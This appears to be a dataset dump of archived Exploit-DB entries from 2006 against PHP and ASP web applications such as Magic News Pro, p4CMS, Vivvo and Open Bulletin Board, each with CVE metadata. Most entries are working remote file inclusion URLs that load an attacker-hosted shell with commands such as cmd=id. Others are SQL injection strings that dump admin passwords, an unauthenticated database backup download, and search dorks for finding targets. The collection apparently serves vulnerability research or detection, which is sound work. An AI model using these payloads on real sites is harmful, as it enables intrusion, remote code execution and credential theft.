QLWD/code_shield huggingface dataset:
标题: Magic News Pro 1.0.3 - 'script_path' Remote File Inclusion EDB-ID: 2363 CVE: 2006-4823 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: #====================================================================
#Magic News Pro => 1.0.3 (script_path) Remote File Inclusion Exploit
#====================================================================
#
#Critical Level : Dangerous
#
#By Saudi Hackrz
#
#http://www.reamdaysoft.com
#http://www.reamdaysoft.com/magic-news-pro/overview.html
#=================================================================
#
#Script Name: Magic News Pro v 1.0.3
#Script :) << $$
#http://www.9q9q.net/up3/index.php?f=jMicDawzV
#
#=================================================================
#Bug in : news_page.php
#        include_once($script_path."/config.php");
#
#in <<<<  news/scripts/news_page.php
#Serche : "js-news.php?nr=" or "mgic news pro" or "js-news.php"
#=================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/news/scripts/news_page.php?script_path=http://SHELLURL.COM?
#
#===============================================================================
#Discoverd By : Saudi Hackrz
#
#Conatact : Saudi.unix[at]hotmail.com
#
#GreetZ :SnIpEr_Sa , KiNg18 , LeCoPrA And All My Frind :)
#www.S3hr.com . www.elite-team.cc/vb .www.3asfh.net . www.lezr.com/vb .www.xp10.com
===============================================================================#

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2363
标题: webSPELL 4.01.01 - Database Backup Download EDB-ID: 2352 CVE: 2006-4782 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: # WebSPELL <= 4.01.01 Accessible Database Backup Download Exploit
# Discovered by: Trex
# Visit: www.SecuritySector.org / www.UnderGround.ag

# Exploit:
http://[SITE]/[PATH]/admin/database.php?action=write&userID=1

# Solution:
http://cms.webspell.org/index.php?site=files&file=15

# milw0rm.com [2006-09-12] URL: https://www.exploit-db.com/exploits/2352
标题: p4CMS 1.05 - 'abs_pfad' Remote File Inclusion EDB-ID: 2350 CVE: 2006-4769 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: #==============================================================================================
#p4CMS <= v1.05 (abs_pfad) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://warez.gtasoft.ru/skripts/p4CMS.v1.05.Nullified-WTN.rar      
#                                                                      
#Version : v1.05                                            
#
#================================================================================================
#Bug in : abf_js.php
#
#Vlu Code :
#--------------------------------
#
#                    @require_once($abs_pfad."include/config.inc.php");
#                    @require_once($abs_pfad."include/mysql-class.inc.php");
#                    @require_once($abs_pfad."include/functions.inc.php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/abf_js.php?abs_pfad=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : CCtream - Cyper-worrier team
# Special Thx To : Str0ke & simoo
==================================================================================================

# milw0rm.com [2006-09-12] URL: https://www.exploit-db.com/exploits/2350
标题: Telekorn Signkorn Guestbook 1.3 - 'dir_path' Remote File Inclusion EDB-ID: 2354 CVE: 2006-4889 2006-4788 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: #==============================================================================================
#Signkorn Guestbook <= v1.3 (dir_path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://warez.gtasoft.ru/skripts/SignKorn.Guestbook.(SL).v1.1.PHP.NULL-DGT.zip      
#                                                                      
#Version : v1.3 & all versions bellow                                            
#                                                        
#================================================================================================
#
#Dork : "Signkorn Guestbook 1.3" & "Signkorn Guestbook 1.1 " Signkorn Guestbook 1.2"
#
#================================================================================================
#Bug in : includes/log.inc.php
#
#Vlu Code :
#--------------------------------
#      if ($_SESSION['permission'] == "yes") {
#  
#    // ########### Admin Menu #############
#    include($dir_path . '/includes/admin.menu.inc.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/includes/log.inc.php?_SESSION[permission]=yes&dir_path=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : CCtream - Cyper-worrier team
# Special Thx To : Str0ke & simoo
==================================================================================================

# milw0rm.com [2006-09-12] URL: https://www.exploit-db.com/exploits/2354
标题: TualBLOG 1.0 - 'icerikno' SQL Injection EDB-ID: 2362 CVE: 2006-4793 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-13 漏洞利用脚本: # BiyoSecurity.Org
# script name : TualBLOG v 1.0
# Risk : High
# Regards : Dj ReMix
# Thanks : Korsan , Liz0zim
# Vulnerable file : icerik.asp

exp :
http://site.com/[path]/icerik.asp?icerikno=-1%20union+select+mail,sifre,uyeadi+from+tbl_uye+where+uyeno=1

uyeno = 1 or 2( Admin ID )

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2362
标题: Quicksilver Forums 1.2.1 - Remote File Inclusion EDB-ID: 2356 CVE: 2006-4824 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-13 漏洞利用脚本: ####################################################
#                                                  #
#           [ WWW.SecurityWall.orG ]               #
#                                                  #
####################################################

Quicksilver Forums [(v1.2.0)+(1.2.1)] (set[include_path]) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################
[v1.2.0]+[v1.2.1]
Code: activeutil.php?

require_once $set['include_path'] . '/lib/bbcode.php';


Exploit:
http://www.site.com/[path]/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt?

####################################################

Greetz: [Cyber-warrior TIM USERS] , Dreamlord , xoron , The_bat_hacker , redx , dipsomania , Kizil_alev, ElHaCKeR :=)
####################################################

# milw0rm.com [2006-09-13] URL: https://www.exploit-db.com/exploits/2356
标题: phpBB XS 0.58 - 'functions.php' Remote File Inclusion EDB-ID: 2349 CVE: 2006-4780 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-12 漏洞利用脚本: Author: AzzCoder

Vendor: http://www.phpbbxs.eu/

Vulnerable File: includes/functions.php

Vulnerable Code:

//The phpbb_root_path isn't initialize

include_once( $phpbb_root_path . './includes/functions_categories_hierarchy.' . $phpEx );

Method To Use:

http://www.victim.com/[phpbb_xs]/includes/functions.php?phpbb_root_path=http://yourdomain.com/shell.txt?

# milw0rm.com [2006-09-12] URL: https://www.exploit-db.com/exploits/2349
标题: WTools 0.0.1a - 'INCLUDE_PATH' Remote File Inclusion EDB-ID: 2346 CVE: 2006-4764 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: #  ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
#  WTools v0.0.1-ALPH - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=1880
 
# Script  :  WTools v0.0.1-ALPH
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/common.php?include_path=[shell]

# milw0rm.com [2006-09-11] URL: https://www.exploit-db.com/exploits/2346
标题: OPENi-CMS 1.0.1beta - 'config' Remote File Inclusion EDB-ID: 2344 CVE: 2006-4750 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: Update:
22:44 09/11/06

Subject:
"OPENi-CMS 1.0.1(config) Remote File Inclusion Vulnerability "

Vulnerable version:
OPENi-CMS 1.0.1

Operating System:
- All OS

Vendor URL:
Support - support@openi-cms.org
Website - http://www.openi-cms.org/

Description:
Openi-CMS he one software PHP Content Management System with facilities 
wysiwyg the editor, plugin, user management to facilitate arranged as 
well as the difference style website 


Vulnerability:
Invalid include function at fileloader.php on line at 5,6 and 7,the 
'$config["openi_dir"]' is not gurantee to including a files. 

// openi-admin/base/fileloader.php

include_once($config["openi_dir"]."/base/constants.php"); // invalid code
include_once($config["openi_dir"]."/base/db_classes.php"); // invalid code
include_once($config["openi_dir"]."/base/site_classes.php"); // invalid code

Exploit:
http://[url]/[path]/openi-admin/base/fileloader.php?config[openi_dir]=[url_inclusion_exploit]

Solution:
upgrade next version

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

# milw0rm.com [2006-09-11] URL: https://www.exploit-db.com/exploits/2344
标题: Open Bulletin Board 1.0.8 - 'ROOT_PATH' File Inclusion EDB-ID: 2341 CVE: 2006-4722 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-10 漏洞利用脚本: +--------------------------------------------------------------------
+
+  Open Bulletin Board 1.0.8 ; Multiple Remote File Include Vulnerabilities
+
+-------------------------------------------------------------------
+
+ Affected Software .: Software
+ Version .............:  Open Bulletin Board 1.0.8
+ Venedor ...........:   http://www.openbb.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Discovered by ..........: Eddy_BAck0o
+ Contact ...........: l0x3[at]hotmail.com
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------
+ ./index Directory ...
~ [index.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ require $root_path . "base.php"; <--- 30 - 380
+ require $root_path . "base.php"; <--- 46 - 380
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+ Ex -->
http://www.victom.com/index.php?root_path=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+
~ [collector.php]
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ root_path = "./"; <--- 24 - 194
+ require $root_path . "base.php"; <--- 159 - 194
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+ Ex -->
http://www.victom.com/index.php?root_path=http://yourevil.com/r0x.txt?cmd
+
+-------------------------------------------------------------------
+ Greetz LEzr.com/vB Member's ; My Team ; My Best [ MoHaJaLi ] ;....
+--------------------------------------------------------------------
+--------------------------------------------------------------------

# milw0rm.com [2006-09-10] URL: https://www.exploit-db.com/exploits/2341
标题: Vivvo Article Manager 3.2 - 'id' SQL Injection EDB-ID: 2337 CVE: 2006-4715 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-09 漏洞利用脚本: ############################################################
#MercilessTurk info@kahramanhost.com
############################################################
#App Name: phpWordPress (Vivvo Article Manager)
#App Author: vivvo.net
#App Version: <=3.2
############################################################
#Vulnerable Code in pdf_version.php :
#line 19: $aid=secure_sql($_GET['id']);
#line 20: $query="SELECT * from tblArticles where id=$aid";
#secure_sql function doesn't block all sql injection attacks.
############################################################
#You will need a pdf reader.
#SQL Injection String:
#http://[target]/[path]/pdf_version.php?id=-1%20UNION%20SELECT%201,2,3,password,5,6,username,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20FROM%20tblUsers%20where%20userid=[target_user_id]
############################################################
#Admin Panel:http://[target]/[path]/admin
############################################################
#For google searching:Vivvo Article Manager
############################################################
#Greetz: sanaldarbe.com members.
############################################################

# milw0rm.com [2006-09-09] URL: https://www.exploit-db.com/exploits/2337
标题: PhpLinkExchange 1.0 - Include / Cross-Site Scripting EDB-ID: 2347 CVE: 2006-4742 2006-4741 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-11 漏洞利用脚本: vendor :www.idevspot.com

Demo : www.idevspot.com/demo/PhpStart/PhpLinkExchange

By : s3rv3r_hack3r

www: hackerz.ir & h4ckerz.com

remote file include :

http://www.domain.com/PhpLinkExchange/bits_listings.php?svr_rootPhpStart=[shell.txt?]

xss:

http://www.domain.com/PhpLinkExchange/user_add.php?msg=[xss]

# milw0rm.com [2006-09-11] URL: https://www.exploit-db.com/exploits/2347
标题: PUMA 1.0 RC 2 - 'config.php' Remote File Inclusion EDB-ID: 2340 CVE: 2006-4713 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-10 漏洞利用脚本: +--------------------------------------------------------------------
+
+ PUMA 1.0 RC 2 (config.php) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/415/org/PUMA_1.0_RC_2_(config.php)_R FI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: PUMA 1.0 RC 2
+ Venedor ...........: http://php.psywerx.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected File:
+ /config.php
+
+ Code:
+ .....
+ // Select language
+ $lang = "lang_english.php";
+ include($fpath."./language/$lang");
+ .....
+
+--------------------------------------------------------------------
+
+ $fpath is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+  -> Declare $fpath!
+  -> Deny direct access to config.php
+  -> or modify code:
+
+ if(!isset($_REQUEST['fpath']) && !isset($_GET['fpath']) &&
!isset($_POST['fpath'])){
+ //code of org. config.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/config.php?fpath=[script]
+
+--------------------------------------------------------------------
+
+ Greets and Thanks: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-09-10] URL: https://www.exploit-db.com/exploits/2340
标题: MyABraCaDaWeb 1.0.3 - 'base' Remote File Inclusion EDB-ID: 2335 CVE: 2006-4719 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-08 漏洞利用脚本: #  ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
#  MyABraCaDaWeb v1.0.3 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=272
 
# Script  :  MyABraCaDaWeb v1.0.3
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/index.php?base==[shell]
 
     http://www.site.com/[path]/pop.php?base=[shell]

# milw0rm.com [2006-09-08] URL: https://www.exploit-db.com/exploits/2335
标题: Vivvo Article Manager 3.2 - 'classified_path' File Inclusion EDB-ID: 2339 CVE: 2006-4714 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-09 漏洞利用脚本: #########################################################################
#MercilessTurk info@kahramanhost.com
#########################################################################
#App Name: phpWordPress (Vivvo Article Manager)
#App Author: vivvo.net
#App Version: <=3.2
#########################################################################
#Vulnerable Code in HTML_function.php function HTML_Category_Menu() :
#line 51: include_once($classified_path.'export_category.php');
#if register_globals = On then this code can include $_GET['classified_path']
#in index.php HTML_Category_Menu() function is called:
#line 45:
#$box_sections_HTML=HTML_Category_Menu();
#########################################################################
#Usage:
#http://[target]/[path]/index.php?classified_path=http://[evil_script]?
#########################################################################
#For google searching:Vivvo Article Manager
#########################################################################
#Greetz: sanaldarbe.com members.
#########################################################################

# milw0rm.com [2006-09-09] URL: https://www.exploit-db.com/exploits/2339
标题: mcGalleryPRO 2006 - 'path_to_folder' Remote File Inclusion EDB-ID: 2342 CVE: 2006-4720 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-10 漏洞利用脚本: #############################SolpotCrew Community################################
#
#        Mcgallerypro (path_to_folder) Remote File Inclusion
#
#        Download file : http://phpforums.net/mcgp/mcgp.zip/mcgp.zip
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (10-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-06.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , #nyubi , #hitamputih @dalnet
#              and all member solpotcrew community @ http://www.nyubicrew.org/forum/
#
#
###############################################################################
Input passed to the "path_to_folder" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from random2.php

if (!empty($_SERVER)) { extract($_SERVER, EXTR_OVERWRITE); }
if (!empty($_GET)) { extract($_GET, EXTR_OVERWRITE); }
if (!empty($_POST)) { extract($_POST, EXTR_OVERWRITE); }
if (!empty($_COOKIE)) { extract($_COOKIE, EXTR_OVERWRITE); }
if (!empty($_SESSION)) { extract($_SESSION, EXTR_OVERWRITE); }

include ("$path_to_folder/admin/common.php");
include ("$path_to_folder/lang/$lang_def");

Google Dork; "powered by mcGalleryPRO"

exploit : http://somehost/path_to_mcgallerypro/random2.php?path_to_folder=http://evil

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-09-10] URL: https://www.exploit-db.com/exploits/2342
标题: Somery 0.4.6 - 'skin_dir' Remote File Inclusion EDB-ID: 2329 CVE: 2007-0704 2006-4669 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-08 漏洞利用脚本: Update:
16:01 09/08/06

Subject:
"Somery 0.4(skin_dir)Remote File Inclusion Exploit"

Vulnerable version:
 Somery 0.4.6

Operating System:
- All OS

Vendor URL:
Robin de Graaf - voh@hostvoh.net
Somery website - http://somery.danwa.net

Description:
Somery, also known as the Somery weblogging system.

Vulnerability:
An error accoured when sending a specified string code at include function
Varibale scope at the line for request was not except how they handle failure.include() does not behave this way, the script will continue

regardless.include() produces a Warning while require() results in a Fatal Error.
see vulnerability script;

// upload/admin/system/include.php

if ($start) {
       include("../config.php");
       include("cookies.php");
       include("system/error.php");
       include("system/functions.php");
       include("system/authorization.php");
       include("$skindir/header.php"); // is invalid code
} else {
       if (!$checkauth) {
               $login = TRUE;
               include("login.php");
       }
       include("$skindir/footer.php"); // is invalid code
}

Exploit:
//          =============XCRIME-CYBER============
//          Somery 0.4(skin_dir)Remote File Inclusion Exploit
//          ======================================
//                              basher13 - Infam0us Gr0up
Usage:
http://[domain]/[path]/upload/admin/system/include.php?skindir=http://[url_inclusion_exploit]

Solution:
PHP Manual(PHP 3, PHP 4, PHP 5)
Defined --  Checks whether a given named constant exists
<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'CONSTANT' is the name of a constant named CONSTANT */
if (defined('CONSTANT')) {
   echo CONSTANT;
}
?>

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

# milw0rm.com [2006-09-08] URL: https://www.exploit-db.com/exploits/2329
标题: ACGV News 0.9.1 - 'header.php' Remote File Inclusion EDB-ID: 2324 CVE: 2006-4637 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: # ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# ACGV News v0.9.1 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=1420
 
# Script  :  ACGV News v0.9.1
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, Blackened, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/ACGVnews/header.php?PathNews=[shell]

# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2324
标题: WM-News 0.5 - Multiple Remote File Inclusions EDB-ID: 2326 CVE: 2006-4666 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-07 漏洞利用脚本: # ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----

# WM-News v0.5 - Remote File Include Vulnerabilities

# site    : http://www.comscripts.com/jump.php?action=script&id=203

# Script  :  WM-News v0.5

# Credits : ERNE

# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack

# Thanks  : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner

# Vulnerable :
    http://www.site.com/[path]/content/article.php?ide=[shell]
    http://www.site.com/[path]/content/delete.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify.php?pwfile=[shell]
    http://www.site.com/[path]/content/admin.php?pwfile=[shell]
    http://www.site.com/[path]/content/modify_go.php?pwfile=[shell]


# milw0rm.com [2006-09-07] URL: https://www.exploit-db.com/exploits/2326